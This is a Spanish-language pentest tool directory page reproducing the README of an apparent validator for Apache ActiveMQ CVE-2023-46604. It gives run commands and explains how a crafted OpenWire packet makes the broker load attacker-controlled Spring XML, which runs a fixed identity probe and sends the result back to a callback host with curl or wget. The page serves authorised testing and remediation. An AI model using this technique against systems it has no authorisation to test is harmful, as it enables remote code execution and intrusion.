Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
ActiveMQ-CVE-2023-46604 — Validador no destructivo para Apache ActiveMQ CVE-2023-46604. Envía paquetes OpenWire manipulados, utiliza un servidor de devolución de llamada HTTP para confirmar RCE o la carga de XML, y genera evidencia en CSV/JSON para pruebas de penetración autorizadas. | Kitploit
Herramientas/GitHubGitHub/bhanunamikaze/activemq-cve-2023-46604
Escáneres de VulnerabilidadesAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubbhanunamikaze/activemq-cve-2023-46604

ActiveMQ-CVE-2023-46604

Validador no destructivo para Apache ActiveMQ CVE-2023-46604. Envía paquetes OpenWire manipulados, utiliza un servidor de devolución de llamada HTTP para confirmar RCE o la carga de XML, y genera evidencia en CSV/JSON para pruebas de penetración autorizadas.

Ver Repositorio
1hace 12h 53mAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Validador Seguro de CVE-2023-46604 para ActiveMQ

Un validador de un solo archivo y no destructivo para Apache ActiveMQ CVE-2023-46604. Inicia su propio servidor de callback HTTP, genera XML de Spring específico para el objetivo en memoria, envía el paquete OpenWire manipulado, correlaciona los callbacks con tokens únicos y escribe evidencia en CSV/JSON.

El proyecto está diseñado para pruebas de penetración autorizadas y validación de flotas. Deliberadamente no implementa reverse shells, ejecución de comandos sin restricciones, expansión CIDR, persistencia ni preparación de payloads.

Qué demuestra el validador

Dos modos de prueba fijos están disponibles:

  • rce ejecuta una sonda de identidad fija y de solo lectura y devuelve su salida al servidor HTTP integrado. Un callback confirma la ejecución de comandos del sistema operativo en el contexto del servicio ActiveMQ.
  • xml sirve un contexto Spring vacío. Una recuperación confirma que el mensaje OpenWire manipulado hizo que el objetivo instanciara ClassPathXmlApplicationContext y recuperara XML controlado por el atacante, sin iniciar un proceso.

No es necesario crear ni alojar archivos XML por separado.

Características

  • Un archivo Python; solo biblioteca estándar
  • Servidor HTTP integrado con hilos
  • Tokens XML y de callback dinámicos y específicos por objetivo
  • Entrada explícita de objetivo único y múltiple
  • Concurrencia limitada y reintentos de envío
  • Soporte de OpenWire simple y OpenWire envuelto en TLS
  • Sondas de identidad fijas para Linux y Windows
  • Evidencia CSV por defecto, JSON opcional
  • Estados de resultado precisos que evitan falsas afirmaciones de "no vulnerable"
  • Código de salida --fail-on-vuln compatible con CI

Requisitos

  • Python 3.9 o superior
  • Acceso de red desde el host de pruebas al listener OpenWire del objetivo
  • Acceso de red desde el objetivo de vuelta a la dirección de callback HTTP integrada
  • Autorización explícita para cada objetivo

El puerto OpenWire por defecto es 61616, pero se admiten puertos no estándar.

Inicio rápido

Use direcciones solo de documentación en los ejemplos; reemplácelas con sus activos autorizados.

Objetivo Linux único

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616 \
  --callback-host 192.0.2.50

El script inicia automáticamente el servidor de callback en TCP/8000, sirve el XML generado, envía el paquete OpenWire, espera la evidencia, imprime una tabla de resultados y escribe:

root@kitploit:~
activemq-cve-2023-46604-results.csv

Múltiples objetivos explícitos

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target mq01.example.test:61616 \
  --target mq02.example.test:61616 \
  --target tcp://192.0.2.23:61500 \
  --callback-host 192.0.2.50 \
  --workers 4 \
  --json-output results.json

Archivo de objetivos

Cree targets.txt:

root@kitploit:~
# Un host explícitamente autorizado por línea
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617

Ejecute:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --http-port 8000 \
  --platform linux \
  --proof rce \
  --workers 8 \
  --wait 15 \
  --output findings.csv \
  --json-output findings.json

Los archivos de objetivos pueden contener líneas en blanco y comentarios que comiencen con #. La expansión CIDR no está soportada intencionalmente; enumere el inventario autorizado explícitamente.

Detección automática de la dirección de callback

Para redes enrutadas simples, omita --callback-host:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.10:61616

La herramienta selecciona la dirección de origen local utilizada para enrutar hacia el primer objetivo. Especifique --callback-host al probar a través de NAT, VPN, contenedores, hosts de salto o sistemas multi-homed.

ActiveMQ alojado en Windows

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target 192.0.2.30:61616 \
  --callback-host 192.0.2.50 \
  --platform windows \
  --proof rce

La sonda de Windows utiliza un comando PowerShell fijo y no interactivo para devolver la identidad del servicio, el nombre del equipo y la versión del SO. No proporciona un shell interactivo.

Validación solo de carga XML

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --proof xml

Este modo no instancia ProcessBuilder.

OpenWire envuelto en TLS

Use un objetivo ssl://:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50

Para un listener interno con un certificado no confiable:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --target ssl://mq-secure.example.test:61617 \
  --callback-host 192.0.2.50 \
  --tls-no-verify

--tls-no-verify afecta solo a la conexión TLS de OpenWire. El servidor de callback es HTTP.

Estados de resultado

EstadoSignificado
CONFIRMED_VULNERABLE_RCEEl objetivo recuperó su XML y el comando de identidad fijo devolvió evidencia.
CONFIRMED_VULNERABLE_XML_LOADEn modo xml, el objetivo recuperó el documento XML único.
VULNERABLE_XML_LOAD_ONLYEn modo rce, se produjo la recuperación del XML pero el callback del comando no. La ruta vulnerable de instanciación de clases está confirmada; las herramientas de callback, el egreso o la ejecución de procesos pueden estar restringidos.
NOT_CONFIRMEDEl paquete se envió, pero no llegó evidencia HTTP correlacionada antes de la fecha límite. Esto no es prueba de que el host esté parcheado.
UNREACHABLELa conexión TCP/TLS o el envío del paquete fallaron.

Un broker parcheado, un puerto incorrecto, filtrado de egreso, problemas de enrutamiento, discrepancia TLS y controles de endpoint pueden afectar la validación basada en callback. Conserve las marcas de tiempo CSV/JSON y la salida del callback como evidencia del informe.

Evidencia de identidad fija

La sonda de identidad de Linux devuelve una salida similar a:

root@kitploit:~
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...

Intenta curl, wget y BusyBox wget para el POST HTTP. Si el XML se recupera pero ninguno de esos clientes está disponible, el resultado es VULNERABLE_XML_LOAD_ONLY en lugar de un falso negativo.

Códigos de salida

  • 0: la validación se completó, o se encontraron vulnerabilidades sin --fail-on-vuln
  • 2: se encontró al menos un resultado vulnerable y se proporcionó --fail-on-vuln
  • los errores de argparse usan el código de error de línea de comandos no cero normal

Ejemplo de uso en CI:

root@kitploit:~
python3 activemq_validator.py \
  --authorized \
  --targets-file targets.txt \
  --callback-host 192.0.2.50 \
  --fail-on-vuln

Cómo funciona

CVE-2023-46604 afecta al deserializado OpenWire de Java. El validador envía una ExceptionResponse OpenWire con marshalling flexible cuya clase de excepción es:

root@kitploit:~
org.springframework.context.support.ClassPathXmlApplicationContext

El mensaje de excepción es la URL única del XML de Spring generado. El código vulnerable de ActiveMQ instancia la clase seleccionada por el atacante con esa URL. En modo rce, el contexto Spring inicia una sonda ProcessBuilder fija; en modo xml, el contexto está vacío.

Cada objetivo recibe un token diferente, por ejemplo:

root@kitploit:~
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>

Esto permite atribuir callbacks concurrentes al objetivo correcto.

Referencia de comandos

root@kitploit:~
--authorized                 Reconocimiento de autorización requerido
-t, --target VALUE           Objetivo explícito; repetible
-T, --targets-file FILE      Un objetivo explícito por línea; repetible
--default-port PORT          Por defecto 61616
--tls                        Usar TLS para todos los objetivos
--tls-no-verify              Deshabilitar la validación del certificado TLS de OpenWire
--callback-host HOST         Dirección que los objetivos usan para callbacks HTTP
--bind-host HOST             Dirección de enlace HTTP local; por defecto 0.0.0.0
--http-port PORT             Puerto HTTP local; por defecto 8000; 0 selecciona un puerto libre
--proof rce|xml              Modo de prueba fijo; por defecto rce
--platform linux|windows     SO del objetivo para modo RCE; por defecto linux
--workers N                  Trabajadores paralelos; máximo 32
--connect-timeout SECONDS    Tiempo de espera TCP/TLS
--wait SECONDS               Ventana de recopilación de callbacks
--retries N                  De uno a tres intentos de envío de paquetes
--retry-delay SECONDS        Retraso entre intentos
-o, --output FILE            Destino de evidencia CSV
--json-output FILE           Destino JSON opcional
--verbose                    Mostrar registros de solicitudes HTTP
--fail-on-vuln               Salir con 2 cuando se encuentra un resultado vulnerable

Pruebas

root@kitploit:~
python3 -m unittest discover -s tests -v

Las pruebas verifican el análisis de objetivos, el rechazo CIDR, la buena formación del XML y la estructura del marco OpenWire sin contactar ningún objetivo.

Remediación

Actualice ActiveMQ a una versión corregida y actualmente soportada. El aviso de Apache identificó versiones corregidas para las ramas vigentes en ese momento como ActiveMQ 5.15.16, 5.16.7, 5.17.6, 5.18.3 y 6.0.0, y Artemis 2.31.2. También restrinja los listeners OpenWire a clientes confiables y supervise la recuperación XML saliente inesperada.

Seguridad y alcance

Este repositorio es para validación defensiva y evaluaciones de seguridad autorizadas. Omite intencionalmente:

  • payloads de reverse shell
  • ejecución arbitraria de --command
  • preparación de ejecutables o scripts
  • persistencia
  • ataques de autenticación
  • expansión CIDR/rango

La sonda de identidad fija es suficiente para demostrar la ejecución remota de comandos y el impacto en la cuenta de servicio sin establecer acceso interactivo.

Referencias

  • Apache ActiveMQ: https://activemq.apache.org/news/cve-2023-46604
  • Avisos de seguridad de Apache ActiveMQ: https://activemq.apache.org/components/classic/security
  • Código fuente de Apache ActiveMQ: https://github.com/apache/activemq
  • Laboratorio Vulhub: https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604

Licencia

MIT. Consulte LICENSE.

Descargar herramienta